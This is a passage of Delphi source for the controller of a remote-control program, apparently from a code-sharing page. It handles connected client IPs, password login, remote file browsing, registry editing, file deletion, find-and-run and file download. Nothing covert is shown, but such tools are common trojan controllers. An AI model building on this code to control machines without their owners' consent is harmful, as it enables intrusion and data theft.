📄 unit1.pas
字号:
end;
end;
procedure eds();
var ty,st:string;
buffer : array[0..1024] of byte;
i : integer;
begin//值修改
if form1.REGLV.ItemIndex =-1 then exit;
TY :=form1.REGLV.Items[form1.REGLV.Selected.Index].SubItems[0];
form3.PA1.Visible :=true;
form3.PA2.Visible :=true;
form3.PA3.Visible :=true;
if (ty='REG_EXPAND_SZ') OR (ty='REG_MULTI_SZ') then exit;
if ty='REG_SZ' then
begin
form3.Edit1.Text :=form1.REGLV.Selected.Caption;
form3.Edit2.Text :=form1.REGLV.Items[form1.REGLV.Selected.Index].SubItems[1];
Form3.Caption :='REG_SZ 值修改';
form3.PA2.Visible :=false;
form3.PA3.Visible :=false;
end;
if ty='REG_DWORD' then
begin
form3.Edit3.Text :=form1.REGLV.Selected.Caption;
form3.Edit4.Text :=form1.REGLV.Items[form1.REGLV.Selected.Index].SubItems[1];
Form3.Caption :='REG_DWORD 值修改';
form3.PA1.Visible :=false;
form3.PA3.Visible :=false;
end;
if ty='REG_BINARY' then
begin
form3.Edit5.Text :=form1.REGLV.Selected.Caption;
form3.Edit6.Text :=form1.REGLV.Items[form1.REGLV.Selected.Index].SubItems[1];
Form3.Caption :='REG_BINARY 值修改';
form3.PA1.Visible :=false;
form3.PA2.Visible :=false;
end;
form1.Enabled :=false;
form3.Visible :=true;
end;
procedure number();//子键序号排序
var s,i,s1:integer;
str:string;
begin
s:=form1.REGLV.Items.Count;
renum:=1;
for i:=1 to s do
begin
str:=form1.REGLV.Items[i-1].Caption;
s1:=pos('#',str);
if s1>0 then
begin
renum:=strtoint(copy(str,s1+1,length(str)-s1))+1;
end;
end;
end;
procedure number2();//主键序号排序
var s,i,s1:integer;
str:string;
begin
s:=strtoint(form1.sb.Panels.Items[3].Text);
renum:=1;
for i:=s downto 1 do
begin
str:=form1.REGTV.Selected.Item[i-1].Text ;
if copy(str,1,4)<>'新项' then
exit
else
begin
s1:=pos('#',str);
if s1>0 then
renum:=strtoint(copy(str,s1+1,length(str)-s1))+1;
exit;
end;
end;
end;
procedure ChangeSelectNode(tree:TTreeView;x,y:integer;Button: TMouseButton);
var anode, AItem:TTreeNode;
strTmp: string;
begin
if button=mbright then { 是否按了右键 }
begin
anode:=tree.GetNodeAt(x,y); { 取 x,y 坐标下的结点 }
if anode<>nil then
anode.Selected :=true; { 设置点中结点为选中 }
end;
strTmp := '';
AItem := form1.REGTV.Selected;
while Assigned(AItem) do
begin
strTmp := AItem.Text+'\'+strTmp;
AItem := AItem.Parent;
end;
SetLength(strTmp,Length(strTmp)-1);
form1.sb.Panels.Items[0].Text :=strtmp;
end;
procedure cle();
begin//清空各种窗口中的信息
form1.IPNS.Text :='请选择要控制的IP!';
form1.ME1.Text :='0';
form1.ME2.Text :='0';
form1.JCBOX.Clear ;
form1.CKED1.Text :='';
form1.CKED2.Text :='';
form1.clipm.Clear ;
form1.FCB.Clear ;
form1.FTV.Items.Clear ;
form1.FLV1.Clear ;
form1.syed1.Clear ;
form1.DOSCB2.Clear ;
form1.pased.Clear ;
form1.dirsum.Clear ;
form1.filesum.Clear;
form1.REGLV.Clear ;
form1.REGTV.Items.Clear ;
form1.REGTV.Items.AddChild(form1.regtv.Selected,'我的电脑');
form1.REGTV.Items[0].Selected :=true;
form1.regtv.Items.AddChild(form1.regtv.Selected,'HKEY_CURRENT_USER');
form1.regtv.Items.AddChild(form1.regtv.Selected,'HKEY_LOCAL_MACHINE');
form1.regtv.Items.AddChild(form1.regtv.Selected,'HKEY_USERS');
end;
procedure TForm1.ssClientError(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
ErrorCode:=0;
if socket.RemoteAddress =ipns.Text then
begin
application.MessageBox('当前连接已经断开!','注意');
for i:=1 to IPVI.Items.Count do
if ipns.Text =ipvi.Items[i-1].Caption then
begin
ipvi.Items[i-1].SubItems.Text :='断开';
IPNS.Text :='请选择要控制的IP!';
cle();
mainpc.ActivePage :=ts1;
mainpc.Enabled :=false;
exit;
end;
end
else
begin
icon.ShowBalloonHint('提示', '连接错误!请稍后再试 8_8 ',bitInfo, 30);
end;
end;
procedure TForm1.ssClientRead(Sender: TObject; Socket: TCustomWinSocket);
var S,stt,dd,ipn,cos,str,LB:string;
Lem: TListItem;
Mbf: array[0..10000] of byte; {设置接收缓冲区}
lh,Mrl: integer;
MyBmp: TBitmap;
MyJpg: TJpegimage;
myNode,TD, TN:TTreeNode;
nus:integer;
buf:Pointer;
fist:pchar;
begin//收消息
lh:=Socket.ReceiveLength;
GetMem(buf,lh);
Socket.ReceiveBuf(buf^,lh);
stt:=StrPas(PChar(buf));
stt:=Copy(stt,1,lh);
if (kks=1) and (stt<>'184') then
begin
DOWF.WriteBuffer(buf^,lh);
ss.Socket.Connections[fullip].SendText('183');
FreeMem(buf,lh);
exit;
end;
if stt='' then exit;
dd:=copy(stt,1,3);
cos:=copy(stt,4,length(stt)-3);
case strtoint(dd) of
000: begin//收到IP
icon.ShowBalloonHint('注意!', '有客户上线了!' + #13 +
'可对其进行控制',bitInfo, 30);
for i:=1 to IPVI.Items.Count do
if cos=IPVI.Items[i-1].Caption then
begin
ipvi.Items[i-1].SubItems.text:='就绪';
if ipns.Text =cos then ipvi.Items[i-1].SubItems.text:='★';
exit;
end;
Lem:= ipvi.Items.Add;
Lem.Caption :=cos;
ipvi.Items[ipvi.Items.Count-1].SubItems.Add('就绪');
if ipns.Text =cos then ipvi.Items[ipvi.Items.Count-1].SubItems.text:='★';
end;
001: application.MessageBox('该操作已经执行完毕!','提示');
007: begin
if cos='OK' then
begin
cle();
IPNS.Text := IPVI.Selected.Caption ;
sb.Panels.Items[1].Text :=inttostr(ipvi.Selected.Index);
fullip:=strtoint(sb.Panels.Items[1].Text);
for i:= 1 to ipvi.Items.Count do
ipvi.Items[i-1].SubItems.Text :='就绪';
ipvi.Items[ipvi.Selected.Index].SubItems.Text :='★';
pased.Clear ;
FCB.Clear;
mainpc.Enabled :=true;
ss.Socket.Connections[fullip].SendText('110')
end
else
begin
application.MessageBox('你的密码错误!','注意');
pased.Clear ;
mainpc.Enabled :=false;
end;
end;
110: begin//得文件
fcb.Clear ;
ftv.Items.Clear ;
flv1.Clear ;
i:=pos('>>>',cos);
str:=copy(cos,1,i-1);
cos:=copy(cos,i+3,length(cos));
i:=1;
while i<length(str) do
begin
fcb.Items.Add(copy(str,i,2));
i:=i+2;
end;
fcb.Text:=copy(cos,1,2);
cos:=copy(cos,6,length(cos)-5);
i:=pos('>>>',cos);
dd:=copy(cos,1,i-1);//目录列表
ipn:=copy(cos,i+3,length(cos)-i-3)+'/';//文件表列表
FTV.Items.AddChildFirst (TN,fcb.Text);
FTV.Items[0].Selected :=TRUE;
TN:=FTV.Selected;
TN.DeleteChildren;
while dd<>'' do
begin
i:=pos('/',dd);
str:=copy(dd,1,i-1);
dd:=copy(dd,i+1,length(dd)-i);
TD:=FTV.Items.AddChild (TN,str);
TD.ImageIndex:=2;
TD.SelectedIndex:=3;
end;
FTV.Selected.Expand(True);
fcb.Style :=csDropDownList;
fcb.ItemIndex :=0;
while ipn<>'' do
begin
i:=pos('/',ipn);
str:=copy(ipn,1,i-1);
ipn:=copy(ipn,i+1,length(ipn)-i);
Lem:=FLV1.Items.Add;
Lem.Caption:=str;
LB:=UPPERCASE(copy(str,length(str)-2,3));
Lem.SubItems.Add(LB);
if (LB='EXE') or (LB='COM') then Lem.StateIndex:=0;
if (LB='RAR') or (LB='ZIP') then Lem.StateIndex:=1;
if LB='TXT' then Lem.StateIndex:=2;
if LB='WPS' then Lem.StateIndex:=3;
If LB='DOC' then Lem.StateIndex:=4;
if LB='AVI' then Lem.StateIndex:=5;
if LB='RMA' then Lem.StateIndex:=6;
if (LB='DAT') OR (LB='MPE') then Lem.StateIndex:=7;
if LB='MP3' then Lem.StateIndex:=8;
if LB='WAV' then Lem.StateIndex:=9;
if LB='SWF' then Lem.StateIndex:=10;
if (LB='GIF') OR (LB='BMP') OR (LB='JPG') then Lem.StateIndex:=11;
if LB='HTM' then Lem.StateIndex:=12;
if LB='GHO' then Lem.StateIndex:=13;
if LB='INI' then Lem.StateIndex:=14;
end;
sb.Panels.Items[0].Text :=FCB.Text+'\';
dirsum.Text :=inttostr(FTV.Items.Count);
filesum.Text :=inttostr(FLV1.Items.Count);
end;
130: BEGIN//改变磁盘时
ftv.Items.Clear ;
flv1.Clear ;
cos:=copy(cos,6,length(cos)-5);
i:=pos('>>>',cos);
dd:=copy(cos,1,i-1);//目录列表
ipn:=copy(cos,i+3,length(cos)-i-3)+'/';//文件表列表
FTV.Items.AddChildFirst (TN,fcb.Text);
FTV.Items[0].Selected :=TRUE;
TN:=FTV.Selected;
TN.DeleteChildren;
while dd<>'' do
begin
i:=pos('/',dd);
str:=copy(dd,1,i-1);
dd:=copy(dd,i+1,length(dd)-i);
TD:=FTV.Items.AddChild (TN,str);
TD.ImageIndex:=2;
TD.SelectedIndex:=3;
end;
FTV.Selected.Expand(True);
while ipn<>'' do
begin
i:=pos('/',ipn);
str:=copy(ipn,1,i-1);
ipn:=copy(ipn,i+1,length(ipn)-i);
Lem:=FLV1.Items.Add;
Lem.Caption:=str;
LB:=UPPERCASE(copy(str,length(str)-2,3));
Lem.SubItems.Add(LB);
if (LB='EXE') or (LB='COM') then Lem.StateIndex:=0;
if (LB='RAR') or (LB='ZIP') then Lem.StateIndex:=1;
if LB='TXT' then Lem.StateIndex:=2;
if LB='WPS' then Lem.StateIndex:=3;
If LB='DOC' then Lem.StateIndex:=4;
if LB='AVI' then Lem.StateIndex:=5;
if LB='RMA' then Lem.StateIndex:=6;
if (LB='DAT') OR (LB='MPE') then Lem.StateIndex:=7;
if LB='MP3' then Lem.StateIndex:=8;
if LB='WAV' then Lem.StateIndex:=9;
if LB='SWF' then Lem.StateIndex:=10;
if (LB='GIF') OR (LB='BMP') OR (LB='JPG') then Lem.StateIndex:=11;
if LB='HTM' then Lem.StateIndex:=12;
if LB='GHO' then Lem.StateIndex:=13;
if LB='INI' then Lem.StateIndex:=14;
end;
dirsum.Text :=inttostr(FTV.Items.Count);
filesum.Text :=inttostr(FLV1.Items.Count);
END;
131: BEGIN//改变目录时
flv1.Clear ;
i:=pos('>>>',cos);
dd:=copy(cos,1,i-1);//目录列表
ipn:=copy(cos,i+3,length(cos)-i);
TN:=FTV.Selected;
TN.DeleteChildren;
while dd<>'' do
begin
i:=pos('/',dd);
str:=copy(dd,1,i-1);
dd:=copy(dd,i+1,length(dd)-i);
TD:=FTV.Items.AddChild (TN,str);
TD.ImageIndex:=2;
TD.SelectedIndex:=3;
end;
FTV.Selected.Expand(True);
while ipn<>'' do
begin
i:=pos('/',ipn);
str:=copy(ipn,1,i-1);
ipn:=copy(ipn,i+1,length(ipn)-i);
Lem:=FLV1.Items.Add;
Lem.Caption:=str;
LB:=UPPERCASE(copy(str,length(str)-2,3));
Lem.SubItems.Add(LB);
if (LB='EXE') or (LB='COM') then Lem.StateIndex:=0;
if (LB='RAR') or (LB='ZIP') then Lem.StateIndex:=1;
if LB='TXT' then Lem.StateIndex:=2;
if LB='WPS' then Lem.StateIndex:=3;
If LB='DOC' then Lem.StateIndex:=4;
if LB='AVI' then Lem.StateIndex:=5;
if LB='RMA' then Lem.StateIndex:=6;
if (LB='DAT') OR (LB='MPE') then Lem.StateIndex:=7;
if LB='MP3' then Lem.StateIndex:=8;
if LB='WAV' then Lem.StateIndex:=9;
if LB='SWF' then Lem.StateIndex:=10;
if (LB='GIF') OR (LB='BMP') OR (LB='JPG') then Lem.StateIndex:=11;
if LB='HTM' then Lem.StateIndex:=12;
if LB='GHO' then Lem.StateIndex:=13;
if LB='INI' then Lem.StateIndex:=14;
end;
dirsum.Text :=inttostr(FTV.Selected.Count );
filesum.Text :=inttostr(FLV1.Items.Count);
END;
150: begin//文件夹更名
if cos='no' then
application.MessageBox('该文件夹已经存在!请重新建立文件夹!','注意')
else
begin
TN:=FTV.Selected;
TD:=FTV.Items.AddChild (TN,dirname);
TD.ImageIndex:=2;
TD.SelectedIndex:=3;
FTV.Selected.Item[FTV.Selected.Count-1].Selected :=true;
FTV.Selected.Expand(True);
application.MessageBox('创建文件夹成功!','提示');
end;
end;
152: begin//文件夹删除
if cos='1' then
begin
FTV.Selected.Delete ;
FLV1.Clear ;
FTV.Selected.Expand(True);
application.MessageBox('文件夹删除成功!','提示');
end
else
application.MessageBox('该文件夹中有些文件不能被删除!','注意');
end;
156: begin//文件更名
if cos='OK' then
begin
FLV1.Selected.Caption :=filname;
application.MessageBox('文件更名成功!','提示');
end;
end;
157: begin//文件删除
if cos='1' then
begin
FLV1.Selected.Delete ;
filesum.Text :=inttostr(FLV1.Items.Count);
application.MessageBox('该文件已删除!','提示');
end
else
application.MessageBox('该文件不能被删除!','注意');
end;
170: begin//文件查找
if cos='*' then
application.MessageBox('文件没有找到!','提示')
else
application.MessageBox(pchar(cos),'文件已找到');
end;
171: begin//查找并运行
if cos='*' then
application.MessageBox('文件没有找到!','提示')
else
application.MessageBox(pchar(cos+'文件已经运行!'),'提示');
end;
172: begin//查找并删除
if cos='*' then
application.MessageBox('文件没有找到!','提示')
else
if cos='0' then
application.MessageBox('文件已经找到,但不能被删除!','注意')
else
application.MessageBox('文件已经找到且已能被删除!','提示');
end;
180: begin
if cos='0' then
application.MessageBox('文件>8M,不能下载!','注意')
else
begin
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -